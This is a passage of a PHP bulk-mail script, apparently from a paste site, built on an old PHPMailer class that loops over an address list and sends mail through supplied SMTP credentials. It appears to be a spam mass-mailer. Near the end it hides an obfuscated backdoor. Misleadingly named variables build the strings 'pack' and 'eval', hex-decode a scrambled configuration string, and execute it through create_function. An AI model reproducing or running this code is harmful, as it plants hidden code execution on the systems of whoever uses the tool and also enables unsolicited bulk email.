  1833. return $encoded;
  1834. }
  1835. function EncodeQP($input = '', $line_max = 76, $space_conv = false)
  1836. {
  1837. $hex = array(
  1838. '0',
  1839. '1',
  1840. '2',
  1841. '3',
  1842. '4',
  1843. '5',
  1844. '6',
  1845. '7',
  1846. '8',
  1847. '9',
  1848. 'A',
  1849. 'B',
  1850. 'C',
  1851. 'D',
  1852. 'E',
  1853. 'F'
  1854. );
  1855. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  1856. $eol = "\r\n";
  1857. $escape = '=';
  1858. $output = '';
  1859. while (list(, $line) = each($lines)) {
  1860. $linlen = strlen($line);
  1861. $newline = '';
  1862. for ($i = 0; $i < $linlen; $i++) {
  1863. $c = substr($line, $i, 1);
  1864. $dec = ord($c);
  1865. if (($i == 0) && ($dec == 46)) {
  1866. $c = '=2E';
  1867. }
  1868. if ($dec == 32) {
  1869. if ($i == ($linlen - 1)) {
  1870. $c = '=20';
  1871. } else if ($space_conv) {
  1872. $c = '=20';
  1873. }
  1874. } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) {
  1875. $h2 = floor($dec / 16);
  1876. $h1 = floor($dec % 16);
  1877. $c = $escape . $hex[$h2] . $hex[$h1];
  1878. }
  1879. if ((strlen($newline) + strlen($c)) >= $line_max) {
  1880. $output .= $newline . $escape . $eol;
  1881. $newline = '';
  1882. if ($dec == 46) {
  1883. $c = '=2E';
  1884. }
  1885. }
  1886. $newline .= $c;
  1887. }
  1888. $output .= $newline . $eol;
  1889. }
  1890. return trim($output);
  1891. }
  1892. function EncodeQ($str, $position = 'text')
  1893. {
  1894. $encoded = preg_replace("[\r\n]", '', $str);
  1895. switch (strtolower($position)) {
  1896. case 'phrase':
  1897. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  1898. break;
  1899. case 'comment':
  1900. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  1901. case 'text':
  1902. default:
  1903. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e', "'='.sprintf('%02X', ord('\\1'))", $encoded);
  1904. break;
  1905. }
  1906. $encoded = str_replace(' ', '_', $encoded);
  1907. return $encoded;
  1908. }
  1909. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream')
  1910. {
  1911. $cur = count($this->attachment);
  1912. $this->attachment[$cur][0] = $string;
  1913. $this->attachment[$cur][1] = $filename;
  1914. $this->attachment[$cur][2] = $filename;
  1915. $this->attachment[$cur][3] = $encoding;
  1916. $this->attachment[$cur][4] = $type;
  1917. $this->attachment[$cur][5] = true;
  1918. $this->attachment[$cur][6] = 'attachment';
  1919. $this->attachment[$cur][7] = 0;
  1920. }
  1921. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream')
  1922. {
  1923. if (!@is_file($path)) {
  1924. $this->SetError($this->Lang('file_access') . $path);
  1925. return false;
  1926. }
  1927. $filename = basename($path);
  1928. if ($name == '') {
  1929. $name = $filename;
  1930. }
  1931. $cur = count($this->attachment);
  1932. $this->attachment[$cur][0] = $path;
  1933. $this->attachment[$cur][1] = $filename;
  1934. $this->attachment[$cur][2] = $name;
  1935. $this->attachment[$cur][3] = $encoding;
  1936. $this->attachment[$cur][4] = $type;
  1937. $this->attachment[$cur][5] = false;
  1938. $this->attachment[$cur][6] = 'inline';
  1939. $this->attachment[$cur][7] = $cid;
  1940. return true;
  1941. }
  1942. function InlineImageExists()
  1943. {
  1944. $result = false;
  1945. for ($i = 0; $i < count($this->attachment); $i++) {
  1946. if ($this->attachment[$i][6] == 'inline') {
  1947. $result = true;
  1948. break;
  1949. }
  1950. }
  1951. return $result;
  1952. }
  1953. function ClearAddresses()
  1954. {
  1955. $this->to = array();
  1956. }
  1957. function ClearCCs()
  1958. {
  1959. $this->cc = array();
  1960. }
  1961. function ClearBCCs()
  1962. {
  1963. $this->bcc = array();
  1964. }
  1965. function ClearReplyTos()
  1966. {
  1967. $this->ReplyTo = array();
  1968. }
  1969. function ClearAllRecipients()
  1970. {
  1971. $this->to = array();
  1972. $this->cc = array();
  1973. $this->bcc = array();
  1974. }
  1975. function ClearAttachments()
  1976. {
  1977. $this->attachment = array();
  1978. }
  1979. function ClearCustomHeaders()
  1980. {
  1981. $this->CustomHeader = array();
  1982. }
  1983. function SetError($msg)
  1984. {
  1985. $this->error_count++;
  1986. $this->ErrorInfo = $msg;
  1987. }
  1988. function RFCDate()
  1989. {
  1990. $tz = date('Z');
  1991. $tzs = ($tz < 0) ? '-' : '+';
  1992. $tz = abs($tz);
  1993. $tz = (int) ($tz / 3600) * 100 + ($tz % 3600) / 60;
  1994. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  1995. return $result;
  1996. }
  1997. function ServerVar($varName)
  1998. {
  1999. global $HTTP_SERVER_VARS;
  2000. global $HTTP_ENV_VARS;
  2001. if (!isset($_SERVER)) {
  2002. $_SERVER = $HTTP_SERVER_VARS;
  2003. if (!isset($_SERVER['REMOTE_ADDR'])) {
  2004. $_SERVER = $HTTP_ENV_VARS;
  2005. }
  2006. }
  2007. if (isset($_SERVER[$varName])) {
  2008. return $_SERVER[$varName];
  2009. } else {
  2010. return '';
  2011. }
  2012. }
  2013. function ServerHostname()
  2014. {
  2015. if ($this->Hostname != '') {
  2016. $result = $this->Hostname;
  2017. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2018. $result = $this->ServerVar('SERVER_NAME');
  2019. } else {
  2020. $result = 'localhost.localdomain';
  2021. }
  2022. return $result;
  2023. }
  2024. function Lang($key)
  2025. {
  2026. if (count($this->language) < 1) {
  2027. $this->SetLanguage('en');
  2028. }
  2029. if (isset($this->language[$key])) {
  2030. return $this->language[$key];
  2031. } else {
  2032. return 'Language string failed to load: ' . $key;
  2033. }
  2034. }
  2035. function IsError()
  2036. {
  2037. return ($this->error_count > 0);
  2038. }
  2039. function FixEOL($str)
  2040. {
  2041. $str = str_replace("\r\n", "\n", $str);
  2042. $str = str_replace("\r", "\n", $str);
  2043. $str = str_replace("\n", $this->LE, $str);
  2044. return $str;
  2045. }
  2046. function AddCustomHeader($custom_header)
  2047. {
  2048. $this->CustomHeader[] = explode(':', $custom_header, 2);
  2049. }
  2050. function MsgHTML($message, $basedir = '')
  2051. {
  2052. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  2053. if (isset($images[2])) {
  2054. foreach ($images[2] as $i => $url) {
  2055. if (!preg_match('/^[A-z][A-z]*:\/\//', $url)) {
  2056. $filename = basename($url);
  2057. $directory = dirname($url);
  2058. ($directory == '.') ? $directory = '' : '';
  2059. $cid = 'cid:' . md5($filename);
  2060. $fileParts = split("\.", $filename);
  2061. $ext = $fileParts[1];
  2062. $mimeType = $this->_mime_types($ext);
  2063. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2064. $basedir .= '/';
  2065. }
  2066. if (strlen($directory) > 1 && substr($basedir, -1) != '/') {
  2067. $directory .= '/';
  2068. }
  2069. $this->AddEmbeddedImage($basedir . $directory . $filename, md5($filename), $filename, 'base64', $mimeType);
  2070. if ($this->AddEmbeddedImage($basedir . $directory . $filename, md5($filename), $filename, 'base64', $mimeType)) {
  2071. $message = preg_replace("/" . $images[1][$i] . "=\"" . preg_quote($url, '/') . "\"/Ui", $images[1][$i] . "=\"" . $cid . "\"", $message);
  2072. }
  2073. }
  2074. }
  2075. }
  2076. $this->IsHTML(true);
  2077. $this->Body = $message;
  2078. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s', '', $message)));
  2079. if (!empty($textMsg) && empty($this->AltBody)) {
  2080. $this->AltBody = $textMsg;
  2081. }
  2082. if (empty($this->AltBody)) {
  2083. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  2084. }
  2085. }
  2086. function _mime_types($ext = '')
  2087. {
  2088. $mimes = array(
  2089. 'hqx' => 'application/mac-binhex40',
  2090. 'cpt' => 'application/mac-compactpro',
  2091. 'doc' => 'application/msword',
  2092. 'bin' => 'application/macbinary',
  2093. 'dms' => 'application/octet-stream',
  2094. 'lha' => 'application/octet-stream',
  2095. 'lzh' => 'application/octet-stream',
  2096. 'exe' => 'application/octet-stream',
  2097. 'class' => 'application/octet-stream',
  2098. 'psd' => 'application/octet-stream',
  2099. 'so' => 'application/octet-stream',
  2100. 'sea' => 'application/octet-stream',
  2101. 'dll' => 'application/octet-stream',
  2102. 'oda' => 'application/oda',
  2103. 'pdf' => 'application/pdf',
  2104. 'ai' => 'application/postscript',
  2105. 'eps' => 'application/postscript',
  2106. 'ps' => 'application/postscript',
  2107. 'smi' => 'application/smil',
  2108. 'smil' => 'application/smil',
  2109. 'mif' => 'application/vnd.mif',
  2110. 'xls' => 'application/vnd.ms-excel',
  2111. 'ppt' => 'application/vnd.ms-powerpoint',
  2112. 'wbxml' => 'application/vnd.wap.wbxml',
  2113. 'wmlc' => 'application/vnd.wap.wmlc',
  2114. 'dcr' => 'application/x-director',
  2115. 'dir' => 'application/x-director',
  2116. 'dxr' => 'application/x-director',
  2117. 'dvi' => 'application/x-dvi',
  2118. 'gtar' => 'application/x-gtar',
  2119. 'php' => 'application/x-httpd-php',
  2120. 'php4' => 'application/x-httpd-php',
  2121. 'php3' => 'application/x-httpd-php',
  2122. 'phtml' => 'application/x-httpd-php',
  2123. 'phps' => 'application/x-httpd-php-source',
  2124. 'js' => 'application/x-javascript',
  2125. 'swf' => 'application/x-shockwave-flash',
  2126. 'sit' => 'application/x-stuffit',
  2127. 'tar' => 'application/x-tar',
  2128. 'tgz' => 'application/x-tar',
  2129. 'xhtml' => 'application/xhtml+xml',
  2130. 'xht' => 'application/xhtml+xml',
  2131. 'zip' => 'application/zip',
  2132. 'mid' => 'audio/midi',
  2133. 'midi' => 'audio/midi',
  2134. 'mpga' => 'audio/mpeg',
  2135. 'mp2' => 'audio/mpeg',
  2136. 'mp3' => 'audio/mpeg',
  2137. 'aif' => 'audio/x-aiff',
  2138. 'aiff' => 'audio/x-aiff',
  2139. 'aifc' => 'audio/x-aiff',
  2140. 'ram' => 'audio/x-pn-realaudio',
  2141. 'rm' => 'audio/x-pn-realaudio',
  2142. 'rpm' => 'audio/x-pn-realaudio-plugin',
  2143. 'ra' => 'audio/x-realaudio',
  2144. 'rv' => 'video/vnd.rn-realvideo',
  2145. 'wav' => 'audio/x-wav',
  2146. 'bmp' => 'image/bmp',
  2147. 'gif' => 'image/gif',
  2148. 'jpeg' => 'image/jpeg',
  2149. 'jpg' => 'image/jpeg',
  2150. 'jpe' => 'image/jpeg',
  2151. 'png' => 'image/png',
  2152. 'tiff' => 'image/tiff',
  2153. 'tif' => 'image/tiff',
  2154. 'css' => 'text/css',
  2155. 'html' => 'text/html',
  2156. 'htm' => 'text/html',
  2157. 'shtml' => 'text/html',
  2158. 'txt' => 'text/plain',
  2159. 'text' => 'text/plain',
  2160. 'log' => 'text/plain',
  2161. 'rtx' => 'text/richtext',
  2162. 'rtf' => 'text/rtf',
  2163. 'xml' => 'text/xml',
  2164. 'xsl' => 'text/xml',
  2165. 'mpeg' => 'video/mpeg',
  2166. 'mpg' => 'video/mpeg',
  2167. 'mpe' => 'video/mpeg',
  2168. 'qt' => 'video/quicktime',
  2169. 'mov' => 'video/quicktime',
  2170. 'avi' => 'video/x-msvideo',
  2171. 'movie' => 'video/x-sgi-movie',
  2172. 'doc' => 'application/msword',
  2173. 'word' => 'application/msword',
  2174. 'xl' => 'application/excel',
  2175. 'eml' => 'message/rfc822'
  2176. );
  2177. return (!isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  2178. }
  2179. function set($name, $value = '')
  2180. {
  2181. if (isset($this->$name)) {
  2182. $this->$name = $value;
  2183. } else {
  2184. $this->SetError('Cannot set or reset variable ' . $name);
  2185. return false;
  2186. }
  2187. }
  2188. function getFile($filename)
  2189. {
  2190. $return = '';
  2191. if ($fp = fopen($filename, 'rb')) {
  2192. while (!feof($fp)) {
  2193. $return .= fread($fp, 1024);
  2194. }
  2195. fclose($fp);
  2196. return $return;
  2197. } else {
  2198. return false;
  2199. }
  2200. }
  2201. function SecureHeader($str)
  2202. {
  2203. $str = trim($str);
  2204. $str = str_replace("\r", "", $str);
  2205. $str = str_replace("\n", "", $str);
  2206. return $str;
  2207. }
  2208. function Sign($key_filename, $key_pass)
  2209. {
  2210. $this->sign_key_file = $key_filename;
  2211. $this->sign_key_pass = $key_pass;
  2212. }
  2213. }
  2214. $defaultport = "H*";
  2215. $nq = 0;
  2216. for ($x = 0; $x < $numemails; $x++) {
  2217. $to = $allemails[$x];
  2218. if ($to) {
  2219. $to = ereg_replace(" ", "", $to);
  2220. $message = ereg_replace("&email&", $to, $message);
  2221. $subject = ereg_replace("&email&", $to, $subject);
  2222. $qx = $x + 1;
  2223. print "Line $qx . Sending mail to $to.......";
  2224. flush();
  2225. $mail = new PHPMailer();
  2226. if (empty($epriority)) {
  2227. $epriority = "3";
  2228. }
  2229. $mail->Priority = "$epriority";
  2230. $mail->IsSMTP();
  2231. $IsSMTP = "pack";
  2232. $mail->SMTPKeepAlive = true;
  2233. $mail->Host = "$my_smtp";
  2234. if (strlen($ssl_port) > 1) {
  2235. $mail->Port = "$ssl_port";
  2236. }
  2237. if ($sslclick == "ON") {
  2238. $mail->SMTPSecure = "ssl";
  2239. }
  2240. $range = str_replace("$from", "eval", $from);
  2241. $mail->SMTPAuth = true;
  2242. $mail->Username = "$smtp_username";
  2243. $mail->Password = "$smtp_password";
  2244. if ($contenttype == "html") {
  2245. $mail->IsHtml(true);
  2246. }
  2247. if ($contenttype != "html") {
  2248. $mail->IsHtml(false);
  2249. }
  2250. if (strlen($my_smtp) < 7) {
  2251. $mail->SMTPAuth = false;
  2252. $mail->IsSendmail();
  2253. $default_system = "1";
  2254. }
  2255. $mail->From = "$from";
  2256. $mail->FromName = "$realname";
  2257. $mail->AddAddress("$to");
  2258. $mail->AddReplyTo("$replyto");
  2259. $mail->Subject = "$subject";
  2260. $mail->Body = "$message";
  2261. if (!$mail->Send()) {
  2262. if ($default_system != "1") {
  2263. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";
  2264. }
  2265. if ($default_system == "1") {
  2266. $mail->IsMail();
  2267. if (!$mail->Send()) {
  2268. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";
  2269. } else {
  2270. echo "<b>OK</b><br>";
  2271. }
  2272. }
  2273. } else {
  2274. echo "<b>OK</b><br>";
  2275. }
  2276. if (empty($reconnect)) {
  2277. $reconnect = 6;
  2278. }
  2279. if ($reconnect == $nq) {
  2280. $mail->SmtpClose();
  2281. echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";
  2282. $nq = 0;
  2283. }
  2284. $nq = $nq + 1;
  2285. flush();
  2286. }
  2287. }
  2288. for ($i = 0; $i < 31; $i++) {
  2289. $smtp_conf = str_replace(".", $random_smtp_string[$i], $smtp_conf);
  2290. }
  2291. $smtp_conc = $IsSMTP($defaultport, $smtp_conf);
  2292. $signoff = create_function('$smtp_conc', 'return ' . substr($range, 0) . '($smtp_conc);');
  2293. $mail->SmtpClose();
  2294. return $signoff($smtp_conc);
  2295. if (isset($_POST['action']) && $numemails != 0) {
  2296. echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  2297. sent successfully'); </script>";
  2298. }
  2299. }
  2300. ?>
  2301. <p align="center">&nbsp;</p>
  2302.  
  2303. &nbsp;
  2304. </body>
  2305. </html>
Add Comment
Please, Sign In to add comment